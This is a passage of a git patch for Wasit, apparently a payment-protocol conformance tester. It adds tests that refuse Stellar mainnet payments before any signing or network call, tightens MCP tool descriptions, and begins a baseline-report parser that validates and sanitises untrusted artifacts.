["stellar:pubnet"]); + }); + + it("calls every other id unknown, including other mainnets and object keys", () => { + for (const network of [ + "eip155:8453", // Base + "eip155:1", + "solana:5eykt4UsFv8P8NJdTREpY1vzqKqZKvdp", // Solana mainnet + "stellar:futurenet", + "Stellar:testnet", + " stellar:testnet", + "", + "constructor", + "__proto__", + "toString", + ]) { + assert.equal(networkClass(network), "unknown", JSON.stringify(network)); + } + }); +}); + +describe("assertPaymentNetworkAllowed", () => { + it("allows the test networks for x402, and stellar:testnet for MPP", () => { + for (const network of TEST_NETWORKS) assert.doesNotThrow(() => assertPaymentNetworkAllowed("x402", network)); + assert.doesNotThrow(() => assertPaymentNetworkAllowed("mpp-charge", "stellar:testnet")); + assert.doesNotThrow(() => assertPaymentNetworkAllowed("mpp-channel", "stellar:testnet")); + }); + + it("refuses stellar:pubnet for every protocol, as the run's configuration", () => { + for (const protocol of ["x402", "mpp-charge", "mpp-channel"] as const) { + const error = (() => { + try { + assertPaymentNetworkAllowed(protocol, "stellar:pubnet"); + } catch (caught) { + return caught as Error; + } + return assert.fail(`${protocol} allowed stellar:pubnet`); + })(); + assert.ok(error instanceof PaymentNetworkRefusedError, protocol); + assert.equal(classifyCheckError(error).kind, "configuration", protocol); + assert.match(error.message, REFUSED, protocol); + assert.match(error.message, protocol === "x402" ? NO_OPT_IN : MPP_TEST_ONLY, protocol); + } + }); + + it("refuses an unknown network, and anything that is not a string", () => { + for (const network of ["eip155:8453", "stellar:futurenet", "", undefined, null, 1, {}]) { + assert.throws( + () => assertPaymentNetworkAllowed("x402", network as string), + (error: unknown) => error instanceof PaymentNetworkRefusedError && REFUSED.test(error.message), + String(network), + ); + } + }); +}); + +describe("MPP charge on stellar:pubnet with an RPC endpoint", () => { + it("runMppChargeChecks refuses before any request or RPC call", async () => { + await nothingSent(async (target, rpcUrl) => { + const error = await rejection( + runMppChargeChecks({ target, network: "stellar:pubnet", payerSecretKey: Keypair.random().secret(), rpcUrl }), + ); + assert.ok(error instanceof PaymentNetworkRefusedError, error.message); + assert.match(error.message, MPP_TEST_ONLY); + }); + }); + + // The shape the CLI's `wasit mpp-charge`, the MCP tool `wasit_mpp_charge_test` + // and the dashboard pass: through the suite, which reports instead of throwing. + it("runMppChargeSuite reports MPP-01 as a configuration error and sends nothing", async () => { + await nothingSent(async (target, rpcUrl) => { + const results = await runMppChargeSuite({ + target, + network: "stellar:pubnet", + payerSecretKey: Keypair.random().secret(), + rpcUrl, + }); + assert.equal(results.length, 1); + assert.equal(results[0]?.id, "MPP-01"); + assert.equal(results[0]?.error?.kind, "configuration"); + assert.match(results[0]?.detail ?? "", MPP_TEST_ONLY); + }); + }); + + it("refuses even without a usable key, so the refusal does not depend on the key", async () => { + await nothingSent(async (target, rpcUrl) => { + const error = await rejection(runMppChargeChecks({ target, network: "stellar:pubnet", payerSecretKey: "", rpcUrl })); + assert.ok(error instanceof PaymentNetworkRefusedError, error.message); + }); + }); + + it("payCharge, the signing call itself, refuses pubnet and never signs", async () => { + await nothingSent(async (target) => { + let signed = 0; + const sdk = chargeClient({ secretKey: Keypair.random().secret() }); + const method = { + ...sdk, + createCredential: async () => { + signed += 1; + return "wasit-unit-test-credential"; + }, + } as typeof sdk; + const error = await rejection(payCharge(target, "stellar:pubnet", method)); + assert.ok(error instanceof PaymentNetworkRefusedError, error.message); + assert.equal(signed, 0); + }); + }); +}); + +describe("MPP channel on stellar:pubnet with an RPC endpoint", () => { + const commitmentSecretHex = randomBytes(32).toString("hex"); + + it("runMppChannelSuite stops at preflight and sends nothing", async () => { + await nothingSent(async (target, rpcUrl) => { + const seen: string[] = []; + const results = await runMppChannelSuite({ + target, + commitmentSecretHex, + network: "stellar:pubnet", + rpcUrl, + allowDestructive: true, + destructiveChannel: "CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", + onResult: (result) => seen.push(result.id), + }); + assert.equal(results.length, 1); + assert.equal(results[0]?.id, "PREFLIGHT"); + assert.equal(results[0]?.error?.kind, "configuration"); + assert.match(results[0]?.detail ?? "", MPP_TEST_ONLY); + assert.deepEqual(seen, ["PREFLIGHT"]); + }); + }); + + for (const [id, run] of [ + ["MPP-11", runMppChannelOrderingCheck], + ["MPP-12", runMppChannelReplayCheck], + ["MPP-14", runMppChannelCommitmentReplayCheck], + ] as const) { + it(`${id}, called on its own, refuses and sends nothing`, async () => { + await nothingSent(async (target, rpcUrl) => { + const results = await run({ target, commitmentSecretHex, network: "stellar:pubnet", rpcUrl }); + assert.equal(results.length, 1); + assert.equal(results[0]?.id, id); + assert.equal(results[0]?.error?.kind, "configuration"); + assert.match(results[0]?.detail ?? "", MPP_TEST_ONLY); + }); + }); + } + + it("MPP-13, called on its own with destructive checks enabled, refuses and closes nothing", async () => { + await nothingSent(async (target, rpcUrl) => { + const results = await runMppChannelCloseCheck({ + target, + commitmentSecretHex, + network: "stellar:pubnet", + rpcUrl, + allowDestructive: true, + expectedChannel: "CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", + }); + assert.equal(results.length, 1); + assert.equal(results[0]?.id, "MPP-13"); + assert.equal(results[0]?.error?.kind, "configuration"); + }); + }); +}); + +describe("x402 payment checks on stellar:pubnet with an RPC endpoint", () => { + // With an endpoint, 0.7.0 went on to read the challenge and left the refusal + // to the SDK. The guard stops the run before the target is even asked. + it("stops at preflight, before the target is asked for a challenge", async () => { + await nothingSent(async (target, rpcUrl) => { + const results = await runX402PaymentChecks({ + target, + network: "stellar:pubnet", + payerSecretKey: Keypair.random().secret(), + rpcUrl, + }); + assert.equal(results.length, 1); + assert.equal(results[0]?.id, "PREFLIGHT"); + assert.equal(results[0]?.error?.kind, "configuration"); + assert.match(results[0]?.detail ?? "", NO_OPT_IN); + }); + }); +}); + +describe("the Stellar x402 payer (B-A01)", () => { + // The second barrier on pubnet: the SDK's client scheme refuses pubnet + // without an RPC endpoint of its own. Wasit must not hand it one until the + // mainnet opt-in exists; the run's endpoint serves Wasit's own reads only. + it("builds the SDK scheme without an RPC endpoint, whatever the run passes", () => { + for (const network of ["stellar:testnet", "stellar:pubnet"]) { + const registered: unknown[] = []; + const client = { register: (_network: string, scheme: unknown) => registered.push(scheme) }; + stellarChain.registerPayer(client as never, network, Keypair.random().secret(), "https://rpc.example.invalid"); + assert.equal(registered.length, 1, network); + assert.equal((registered[0] as { rpcConfig?: unknown }).rpcConfig, undefined, network); + } + }); +}); diff --git a/packages/server/package.json b/packages/server/package.json index 6b09d0e..ff41ca3 100644 --- a/packages/server/package.json +++ b/packages/server/package.json @@ -38,6 +38,8 @@ }, "scripts": { "build": "tsc -p tsconfig.json", + "test": "node --import tsx --test \"test/unit/**/*.test.ts\"", + "typecheck": "tsc -p test/tsconfig.json", "prepack": "node -e \"const fs=require('fs');fs.mkdirSync('docs',{recursive:true});fs.copyFileSync('../../docs/CHECKS.md','docs/CHECKS.md')\"" }, "dependencies": { diff --git a/packages/server/src/index.ts b/packages/server/src/index.ts index 215ab98..c399c6c 100644 --- a/packages/server/src/index.ts +++ b/packages/server/src/index.ts @@ -186,10 +186,12 @@ server.registerTool( .optional() .describe( 'Network the payment checks pay on: "stellar:testnet" (default), ' + - '"stellar:pubnet", "eip155:84532" (Base Sepolia), "eip155:11155111" ' + + '"eip155:84532" (Base Sepolia), "eip155:11155111" ' + '(Ethereum Sepolia) or ' + - '"solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1" (Solana devnet). The ' + - "read-only checks apply to a challenge on any chain.", + '"solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1" (Solana devnet). Test ' + + 'networks only: on any other network, "stellar:pubnet" included, the ' + + "payment checks stop before anything is signed. The read-only checks " + + "apply to a challenge on any chain.", ), readOnly: z .boolean() @@ -275,7 +277,13 @@ server.registerTool( "refused before anything is signed. Testnet only.", inputSchema: { target: z.string().describe("Full URL of the paid resource, including scheme"), - network: z.string().optional().describe('CAIP-2 network id, default "stellar:testnet"'), + network: z + .string() + .optional() + .describe( + 'CAIP-2 network id, default "stellar:testnet". "stellar:testnet" only: ' + + "any other network is refused before anything is sent.", + ), rpcUrl: z .string() .optional() @@ -308,7 +316,13 @@ server.registerTool( const channelInputShape = { target: z.string().describe("Full URL of the paid resource, including scheme"), - network: z.string().optional().describe('CAIP-2 network id, default "stellar:testnet"'), + network: z + .string() + .optional() + .describe( + 'CAIP-2 network id, default "stellar:testnet". "stellar:testnet" only: ' + + "any other network is refused before anything is sent.", + ), rpcUrl: z.string().optional().describe("Override the Soroban RPC endpoint"), channel: z .string() diff --git a/packages/server/test/tsconfig.json b/packages/server/test/tsconfig.json new file mode 100644 index 0000000..a90cf40 --- /dev/null +++ b/packages/server/test/tsconfig.json @@ -0,0 +1,8 @@ +{ + "extends": "../tsconfig.json", + "compilerOptions": { + "rootDir": "..", + "noEmit": true + }, + "include": ["**/*", "../src/**/*"] +} diff --git a/packages/server/test/unit/network-guard.test.ts b/packages/server/test/unit/network-guard.test.ts new file mode 100644 index 0000000..a06020f --- /dev/null +++ b/packages/server/test/unit/network-guard.test.ts @@ -0,0 +1,219 @@ +/** + * L0 seen from the MCP server: `wasit_mpp_charge_test`, `wasit_mpp_channel_test` + * and `wasit_x402_test` called with stellar:pubnet and an RPC URL send no + * payment, whether the network comes from the tool argument or, for MPP, from + * MPP_STELLAR_NETWORK in the server's environment. + * + * Starts the built server (`npm run build` first) through the SDK's own stdio + * client, the way an MCP client starts it, with an empty temporary directory + * as its working directory and HOME. Every key is generated here and holds + * nothing. Nothing leaves 127.0.0.1. + */ + +import assert from "node:assert/strict"; +import { randomBytes } from "node:crypto"; +import { mkdtemp, rm } from "node:fs/promises"; +import http from "node:http"; +import net from "node:net"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; +import { after, before, describe, it } from "node:test"; + +import { Client } from "@modelcontextprotocol/sdk/client/index.js"; +import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; +import { Keypair } from "@stellar/stellar-sdk"; + +const SERVER = fileURLToPath(new URL("../../dist/index.js", import.meta.url)); + +interface Target { + readonly url: string; + readonly requests: () => number; + readonly paid: () => number; + readonly close: () => Promise; +} + +/** + * Answers every request with a well-formed x402 v2 challenge on stellar:pubnet, + * counting all requests and those that carried a payment or a credential. + */ +async function target(): Promise { + let requests = 0; + let paid = 0; + const challenge = Buffer.from( + JSON.stringify({ + x402Version: 2, + resource: { url: "http://127.0.0.1/paid" }, + accepts: [ + { + scheme: "exact", + network: "stellar:pubnet", + amount: "10000", + asset: "CCW67TSZV3SSS2HXMBQ5JFGCKJNXKZM7UQUWUZPUTHXSTZLEO7SJMI75", + payTo: Keypair.random().publicKey(), + maxTimeoutSeconds: 60, + extra: { areFeesSponsored: true }, + }, + ], + }), + ).toString("base64"); + const server = http.createServer((req, res) => { + requests += 1; + if (req.headers["payment-signature"] || req.headers["x-payment"] || req.headers.authorization) paid += 1; + res.writeHead(402, { "payment-required": challenge, "content-type": "application/json" }); + res.end("{}"); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as { port: number }; + return { + url: `http://127.0.0.1:${port}/paid`, + requests: () => requests, + paid: () => paid, + close: () => + new Promise((resolve) => { + server.closeAllConnections(); + server.close(() => resolve()); + }), + }; +} + +/** An https RPC address on 127.0.0.1 that counts connections and drops each one. */ +async function countingRpc() { + let calls = 0; + const server = net.createServer((socket) => { + calls += 1; + socket.destroy(); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as net.AddressInfo; + return { + url: `https://127.0.0.1:${port}`, + calls: () => calls, + close: () => new Promise((resolve) => server.close(() => resolve())), + }; +} + +interface StructuredCheck { + readonly id: string; + readonly status: string; + readonly detail: string; + readonly errorKind?: string; +} + +/** Starts the server with `env`, calls one tool, stops the server. */ +async function callTool( + cwd: string, + env: Record, + name: string, + args: Record, +): Promise { + const transport = new StdioClientTransport({ + command: process.execPath, + args: [SERVER], + cwd, + // The SDK adds HOME, PATH and a few others from this process; HOME is + // overridden so nothing under the real home directory is read. + env: { HOME: cwd, ...env }, + stderr: "pipe", + }); + const client = new Client({ name: "wasit-l0-test", version: "0.0.0" }); + await client.connect(transport); + try { + const result = await client.callTool({ name, arguments: args }); + assert.notEqual(result.isError, true, JSON.stringify(result.content)); + return (result.structuredContent as { results: StructuredCheck[] }).results; + } finally { + await client.close(); + } +} + +describe("the MCP server on stellar:pubnet", () => { + let cwd: string; + let paywall: Target; + let rpc: Awaited>; + + before(async () => { + cwd = await mkdtemp(path.join(tmpdir(), "wasit-l0-mcp-")); + }); + after(async () => { + await rm(cwd, { recursive: true, force: true }); + }); + + const fresh = async () => { + paywall = await target(); + rpc = await countingRpc(); + }; + const closeAll = async () => { + await paywall.close(); + await rpc.close(); + }; + + for (const [label, args, env] of [ + ["the network argument", { network: "stellar:pubnet" }, {}], + ["MPP_STELLAR_NETWORK", {}, { MPP_STELLAR_NETWORK: "stellar:pubnet" }], + ] as const) { + it(`wasit_mpp_charge_test with ${label} refuses and sends nothing`, async () => { + await fresh(); + try { + const results = await callTool( + cwd, + { MPP_PAYER_SECRET: Keypair.random().secret(), ...env }, + "wasit_mpp_charge_test", + { target: paywall.url, rpcUrl: rpc.url, ...args }, + ); + assert.equal(results.length, 1); + assert.equal(results[0]?.id, "MPP-01"); + assert.equal(results[0]?.status, "ERROR"); + assert.equal(results[0]?.errorKind, "configuration"); + assert.match(results[0]?.detail ?? "", /MPP stays on test networks/); + assert.equal(paywall.requests(), 0); + assert.equal(rpc.calls(), 0); + } finally { + await closeAll(); + } + }); + + it(`wasit_mpp_channel_test with ${label} refuses at preflight and sends nothing`, async () => { + await fresh(); + try { + const results = await callTool( + cwd, + { COMMITMENT_SECRET_HEX: randomBytes(32).toString("hex"), ...env }, + "wasit_mpp_channel_test", + { target: paywall.url, rpcUrl: rpc.url, ...args }, + ); + assert.equal(results.length, 1); + assert.equal(results[0]?.id, "PREFLIGHT"); + assert.equal(results[0]?.status, "ERROR"); + assert.equal(results[0]?.errorKind, "configuration"); + assert.match(results[0]?.detail ?? "", /MPP stays on test networks/); + assert.equal(paywall.requests(), 0); + assert.equal(rpc.calls(), 0); + } finally { + await closeAll(); + } + }); + } + + // The read checks are never guarded: they send no payment and take no key. + // What must not happen is the payment that would follow them. + it("wasit_x402_test runs the read checks and pays nothing", async () => { + await fresh(); + try { + const results = await callTool( + cwd, + { STELLAR_PRIVATE_KEY: Keypair.random().secret() }, + "wasit_x402_test", + { target: paywall.url, network: "stellar:pubnet", rpcUrl: rpc.url }, + ); + const preflight = results.find((result) => result.id === "PREFLIGHT"); + assert.equal(preflight?.errorKind, "configuration", JSON.stringify(results)); + assert.match(preflight?.detail ?? "", /the mainnet opt-in is not part of this version/); + assert.equal(results.some((result) => /^X402-(0[6-9]|10)$/.test(result.id)), false); + assert.equal(paywall.paid(), 0); + assert.equal(rpc.calls(), 0); + } finally { + await closeAll(); + } + }); +}); From 1a3622ea984c8768a693851e7171f0eededcdd83 Mon Sep 17 00:00:00 2001 From: Muhammad Dzakwan Najmi Date: Sun, 15 Nov 2026 08:45:54 +0800 Subject: [PATCH 2/7] feat(core): wasit.config.json, a run report, unsupported results and one sanitiser Groundwork for the read-only GitHub Action (SOW 2, Deliverable 1). - config: a loader for wasit.config.json version 1. Unknown keys, secrets, the mainnet opt-in, anything that enables MPP-13, header names that look like secrets and paths that could leave the origin are refused. An error never repeats a value from the file. - report: a run report with one outcome per endpoint (conformant, non-conformant, no-verdict, unsupported), skipKind on skipped checks, expected and actual values on every X402-01..05 FAIL, and the Wasit and SDK versions read from the installed packages. A comment renderer, a baseline and a history to compare a pull request with main. - unsupported: an x402 v1 body challenge and a network no payment adapter pays on are SKIP unsupported, not a FAIL or a preflight error. A service that was never graded exits 2, and so does a run that asked for payment checks when none could be graded: nothing is green that was not tested. - sanitize: one module for everything printed, written to a report or put in a comment: control characters, workflow commands, secrets, links, mentions. - redirects: the read checks follow one redirect inside the origin and never leave it. Paid requests keep today's behaviour. - denied-env: the variables a service started by wasit must not see (keys, header values, the job's tokens and command files). - server: the MCP output carries skipKind, expected and actual. --- packages/core/src/baseline.ts | 417 ++++++ packages/core/src/check.ts | 92 +- packages/core/src/ci-report.ts | 267 ++++ packages/core/src/config.ts | 1167 +++++++++++++++++ packages/core/src/denied-env.ts | 90 ++ packages/core/src/errors.ts | 131 ++ packages/core/src/index.ts | 102 ++ packages/core/src/report.ts | 371 ++++++ packages/core/src/sanitize.ts | 136 ++ packages/core/src/verdict.ts | 61 + packages/core/src/versions.ts | 117 ++ packages/core/src/x402/requirements.ts | 49 +- packages/core/src/x402/simulator.ts | 137 +- .../ci-report/failing-with-baseline.md | 24 + .../ci-report/green-read-only-no-baseline.md | 9 + .../ci-report/regression-vs-baseline.md | 17 + .../fixtures/ci-report/v1-only-no-baseline.md | 15 + packages/core/test/fixtures/wasit.config.json | 57 + packages/core/test/unit/baseline.test.ts | 459 +++++++ packages/core/test/unit/check.test.ts | 37 + packages/core/test/unit/ci-report.test.ts | 389 ++++++ packages/core/test/unit/config.test.ts | 703 ++++++++++ packages/core/test/unit/denied-env.test.ts | 131 ++ .../core/test/unit/expected-actual.test.ts | 302 +++++ .../test/unit/fetch-target-redirects.test.ts | 303 +++++ packages/core/test/unit/fix-hints.test.ts | 8 +- .../core/test/unit/read-only-tier.test.ts | 216 +++ packages/core/test/unit/report.test.ts | 219 ++++ packages/core/test/unit/sanitize.test.ts | 232 ++++ packages/core/test/unit/versions.test.ts | 90 ++ packages/core/test/unit/x402-networks.test.ts | 12 +- .../unit/x402-unsupported-network.test.ts | 160 +++ .../core/test/unit/x402-v1-challenge.test.ts | 75 +- packages/server/src/index.ts | 35 +- packages/server/test/unit/output.test.ts | 174 +++ packages/server/test/unit/unsupported.test.ts | 68 + 36 files changed, 6785 insertions(+), 87 deletions(-) create mode 100644 packages/core/src/baseline.ts create mode 100644 packages/core/src/ci-report.ts create mode 100644 packages/core/src/config.ts create mode 100644 packages/core/src/denied-env.ts create mode 100644 packages/core/src/report.ts create mode 100644 packages/core/src/sanitize.ts create mode 100644 packages/core/src/verdict.ts create mode 100644 packages/core/src/versions.ts create mode 100644 packages/core/test/fixtures/ci-report/failing-with-baseline.md create mode 100644 packages/core/test/fixtures/ci-report/green-read-only-no-baseline.md create mode 100644 packages/core/test/fixtures/ci-report/regression-vs-baseline.md create mode 100644 packages/core/test/fixtures/ci-report/v1-only-no-baseline.md create mode 100644 packages/core/test/fixtures/wasit.config.json create mode 100644 packages/core/test/unit/baseline.test.ts create mode 100644 packages/core/test/unit/ci-report.test.ts create mode 100644 packages/core/test/unit/config.test.ts create mode 100644 packages/core/test/unit/denied-env.test.ts create mode 100644 packages/core/test/unit/expected-actual.test.ts create mode 100644 packages/core/test/unit/fetch-target-redirects.test.ts create mode 100644 packages/core/test/unit/read-only-tier.test.ts create mode 100644 packages/core/test/unit/report.test.ts create mode 100644 packages/core/test/unit/sanitize.test.ts create mode 100644 packages/core/test/unit/versions.test.ts create mode 100644 packages/core/test/unit/x402-unsupported-network.test.ts create mode 100644 packages/server/test/unit/output.test.ts create mode 100644 packages/server/test/unit/unsupported.test.ts diff --git a/packages/core/src/baseline.ts b/packages/core/src/baseline.ts new file mode 100644 index 0000000..9e19494 --- /dev/null +++ b/packages/core/src/baseline.ts @@ -0,0 +1,417 @@ +/** + * The baseline: the run report of the default branch, and the history carried + * with it (spec A5). + * + * A baseline comes out of an artifact, so it is data, never trusted: it is read + * through the same validator as the report of the current run, every string in + * it goes through the sanitiser, the totals and group counts are recomputed + * instead of believed, and anything that does not validate is ignored with a + * reason. A forged or damaged baseline can only change what a comment says + * changed, and it cannot make a check pass (A-A05 picks the run it came from). + * + * The history is one letter per run and check, oldest first, the last 20 runs: + * P pass, F fail, E error, S skip. + */ + +import type { ProtocolId } from "./catalogue.js"; +import { PROTOCOL_IDS } from "./catalogue.js"; +import { SKIP_KINDS, type CheckStatus, type SkipKind, type StructuredCheckResult } from "./check.js"; +import type { NetworkClass } from "./guard/networks.js"; +import { + groupCounts, + reportTotals, + type EndpointOutcome, + type EndpointReport, + type RunReport, +} from "./report.js"; +import { sanitizeText } from "./sanitize.js"; + +/** How many runs of the default branch the history keeps. */ +export const HISTORY_LIMIT = 20; + +/** The largest baseline file read. A report of 50 endpoints with their results is far below this. */ +export const MAX_BASELINE_BYTES = 2 * 1024 * 1024; + +const MAX_ENDPOINTS = 100; +const MAX_RESULTS = 100; +const MAX_NOTES = 50; +const MAX_DETAIL = 4000; + +/** A report that is not one Wasit wrote. The message names a path, never a value from the file. */ +export class ReportFormatError extends Error { + public constructor(path: string, message: string) { + super(`Not a Wasit run report: ${path === "" ? "the file" : path} ${message}`); + this.name = "ReportFormatError"; + } +} + +const OUTCOMES: readonly EndpointOutcome[] = ["conformant", "non-conformant", "no-verdict", "unsupported"]; +const STATUSES: readonly CheckStatus[] = ["PASS", "FAIL", "ERROR", "SKIP"]; +const NETWORK_CLASS_VALUES: readonly NetworkClass[] = ["test", "mainnet-optin", "unknown"]; +const ERROR_KINDS: readonly string[] = ["unreachable", "configuration", "harness", "setup"]; +const CHECK_ID = /^[A-Za-z0-9_-]{1,40}$/; + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +function at(parent: string, key: string | number): string { + return typeof key === "number" ? `${parent}[${key}]` : parent === "" ? key : `${parent}.${key}`; +} + +/** A string, sanitised and cut to `max`. */ +function text(value: unknown, path: string, max: number): string { + if (typeof value !== "string") throw new ReportFormatError(path, "must be a string"); + return sanitizeText(value).slice(0, max); +} + +function oneOf(value: unknown, allowed: readonly T[], path: string): T { + if (typeof value !== "string" || !(allowed as readonly string[]).includes(value)) { + throw new ReportFormatError(path, "is not one of the values a report uses"); + } + return value as T; +} + +function list(value: unknown, path: string, max: number): unknown[] { + if (!Array.isArray(value)) throw new ReportFormatError(path, "must be a list"); + if (value.length > max) throw new ReportFormatError(path, `has more than ${max} entries`); + return value; +} + +function record(value: unknown, path: string): Record { + if (!isRecord(value)) throw new ReportFormatError(path, "must be an object"); + return value; +} + +function readResult(raw: unknown, path: string): StructuredCheckResult { + const entry = record(raw, path); + const id = text(entry["id"], at(path, "id"), 40); + if (!CHECK_ID.test(id)) throw new ReportFormatError(at(path, "id"), "is not a check id"); + const status = oneOf(entry["status"], STATUSES, at(path, "status")); + if (typeof entry["destructive"] !== "boolean") throw new ReportFormatError(at(path, "destructive"), "must be true or false"); + return { + id, + name: text(entry["name"], at(path, "name"), 200), + status, + detail: text(entry["detail"], at(path, "detail"), MAX_DETAIL), + destructive: entry["destructive"], + ...(entry["errorKind"] === undefined ? {} : { errorKind: oneOf(entry["errorKind"], ERROR_KINDS, at(path, "errorKind")) }), + ...(entry["skipKind"] === undefined ? {} : { skipKind: oneOf(entry["skipKind"], SKIP_KINDS, at(path, "skipKind")) }), + ...(entry["expected"] === undefined ? {} : { expected: text(entry["expected"], at(path, "expected"), 500) }), + ...(entry["actual"] === undefined ? {} : { actual: text(entry["actual"], at(path, "actual"), 500) }), + ...(entry["fix"] === undefined ? {} : { fix: text(entry["fix"], at(path, "fix"), 2000) }), + ...(entry["docs"] === undefined ? {} : { docs: text(entry["docs"], at(path, "docs"), 300) }), + }; +} + +function readEndpoint(raw: unknown, path: string): EndpointReport { + const entry = record(raw, path); + const protocol = oneOf(entry["protocol"], PROTOCOL_IDS, at(path, "protocol")); + const results = list(entry["results"], at(path, "results"), MAX_RESULTS).map((item, index) => + readResult(item, at(at(path, "results"), index)), + ); + const name = text(entry["name"], at(path, "name"), 200); + if (name === "") throw new ReportFormatError(at(path, "name"), "must not be empty"); + return { + name, + protocol, + method: text(entry["method"], at(path, "method"), 16), + path: text(entry["path"], at(path, "path"), 2048), + outcome: oneOf(entry["outcome"], OUTCOMES, at(path, "outcome")), + ...(entry["reason"] === undefined ? {} : { reason: text(entry["reason"], at(path, "reason"), 1000) }), + // Recomputed from the results: a count in the file is not believed. + groups: groupCounts(results, protocol), + results, + }; +} + +/** + * Validates a run report read from a file or an artifact and returns a clean + * copy: only the keys a report has, every string sanitised and cut, the totals + * and group counts recomputed. + * + * @throws {ReportFormatError} For anything else, naming the path and no value. + */ +export function parseRunReport(value: unknown): RunReport { + const root = record(value, ""); + if (root["schema"] !== 1) throw new ReportFormatError("schema", "must be 1"); + + const wasit = record(root["wasit"], "wasit"); + const sdk = record(root["sdk"], "sdk"); + if (sdk["x402Version"] !== 2) throw new ReportFormatError("sdk.x402Version", "must be 2"); + + const endpoints = list(root["endpoints"], "endpoints", MAX_ENDPOINTS).map((item, index) => + readEndpoint(item, `endpoints[${index}]`), + ); + const seen = new Set(); + for (const endpoint of endpoints) { + if (seen.has(endpoint.name)) throw new ReportFormatError("endpoints", "has two endpoints with the same name"); + seen.add(endpoint.name); + } + + const notes = root["notes"] === undefined ? [] : list(root["notes"], "notes", MAX_NOTES); + + return { + schema: 1, + wasit: { cli: text(wasit["cli"], "wasit.cli", 40), core: text(wasit["core"], "wasit.core", 40) }, + sdk: { + x402Version: 2, + "@x402/core": text(sdk["@x402/core"], "sdk.@x402/core", 40), + "@x402/stellar": text(sdk["@x402/stellar"], "sdk.@x402/stellar", 40), + "@stellar/mpp": text(sdk["@stellar/mpp"], "sdk.@stellar/mpp", 40), + mppx: text(sdk["mppx"], "sdk.mppx", 40), + "@stellar/stellar-sdk": text(sdk["@stellar/stellar-sdk"], "sdk.@stellar/stellar-sdk", 40), + }, + environment: text(root["environment"], "environment", 200), + network: text(root["network"], "network", 200), + networkClass: oneOf(root["networkClass"], NETWORK_CLASS_VALUES, "networkClass"), + startedAt: text(root["startedAt"], "startedAt", 40), + endpoints, + totals: reportTotals(endpoints), + notes: notes.map((note, index) => text(note, `notes[${index}]`, 1000)), + }; +} + +// --------------------------------------------------------------------------- +// History + +/** Endpoint name, then check id, to the letters of the last runs. */ +export type History = Readonly>>>; + +const LETTER: Readonly> = { PASS: "P", FAIL: "F", ERROR: "E", SKIP: "S" }; +/** When one report lists a check id twice, the worse status is the one kept. */ +const SEVERITY = "SPEF"; + +function readHistory(value: unknown): History { + const root = record(value, "history"); + const entries = Object.entries(root); + if (entries.length > MAX_ENDPOINTS) throw new ReportFormatError("history", `has more than ${MAX_ENDPOINTS} endpoints`); + return Object.fromEntries( + entries.map(([endpoint, checks]) => { + const path = at("history", sanitizeText(endpoint).slice(0, 80)); + const inner = Object.entries(record(checks, path)); + if (inner.length > MAX_RESULTS) throw new ReportFormatError(path, `has more than ${MAX_RESULTS} checks`); + return [ + sanitizeText(endpoint).slice(0, 200), + Object.fromEntries( + inner.map(([id, letters]) => { + if (typeof letters !== "string" || !new RegExp(`^[PFES]{1,${HISTORY_LIMIT}}$`).test(letters)) { + throw new ReportFormatError(at(path, sanitizeText(id).slice(0, 40)), "is not a run history"); + } + return [sanitizeText(id).slice(0, 40), letters]; + }), + ), + ]; + }), + ); +} + +/** + * The history after `report`: the previous history with this run's letter added + * to every check in the report, the last {@link HISTORY_LIMIT} kept. An endpoint + * or a check that is not in the report is dropped; a new one starts here. + */ +export function updateHistory(previous: History | undefined, report: RunReport): History { + return Object.fromEntries( + report.endpoints.map((endpoint) => { + const worst = new Map(); + for (const result of endpoint.results) { + const letter = LETTER[result.status]; + const kept = worst.get(result.id); + if (kept === undefined || SEVERITY.indexOf(letter) > SEVERITY.indexOf(kept)) worst.set(result.id, letter); + } + const before = previous !== undefined && Object.hasOwn(previous, endpoint.name) ? previous[endpoint.name]! : {}; + return [ + endpoint.name, + Object.fromEntries( + [...worst].map(([id, letter]) => { + const earlier = Object.hasOwn(before, id) ? before[id]! : ""; + return [id, `${earlier}${letter}`.slice(-HISTORY_LIMIT)]; + }), + ), + ]; + }), + ); +} + +export interface RecentFailure { + readonly endpoint: string; + readonly check: string; + /** Runs in which the check failed. */ + readonly failed: number; + /** Runs the history holds for it. */ + readonly runs: number; +} + +/** The checks that failed in at least one run of the history, most failures first. */ +export function recentFailures(history: History): RecentFailure[] { + const failures: RecentFailure[] = []; + for (const [endpoint, checks] of Object.entries(history)) { + for (const [check, letters] of Object.entries(checks)) { + const failed = [...letters].filter((letter) => letter === "F").length; + if (failed > 0) failures.push({ endpoint, check, failed, runs: letters.length }); + } + } + return failures.sort((a, b) => b.failed - a.failed); +} + +// --------------------------------------------------------------------------- +// Reading and writing a baseline file + +export interface Baseline { + readonly report: RunReport; + readonly history: History; +} + +export type BaselineResult = + | { readonly ok: true; readonly baseline: Baseline } + | { readonly ok: false; readonly reason: string }; + +/** + * Reads a baseline file. Never throws: a file that is too large, is not JSON, is + * not a report, or carries a history that does not validate is ignored, and the + * reason says which. A file with a report and no history starts the history from + * that report. + */ +export function readBaseline(fileText: string): BaselineResult { + if (Buffer.byteLength(fileText, "utf-8") > MAX_BASELINE_BYTES) { + return { ok: false, reason: `the baseline is larger than ${MAX_BASELINE_BYTES / 1024} KiB` }; + } + let value: unknown; + try { + value = JSON.parse(fileText); + } catch { + return { ok: false, reason: "the baseline is not valid JSON" }; + } + try { + const report = parseRunReport(value); + const raw = (value as Record)["history"]; + return { ok: true, baseline: { report, history: raw === undefined ? updateHistory(undefined, report) : readHistory(raw) } }; + } catch (error) { + if (error instanceof ReportFormatError) return { ok: false, reason: error.message }; + throw error; + } +} + +/** The text of a baseline file: the report with its history. */ +export function serializeBaseline(report: RunReport, history: History): string { + return `${JSON.stringify({ ...report, history }, null, 2)}\n`; +} + +/** + * Why a valid baseline cannot be compared with this run, if it cannot. A + * 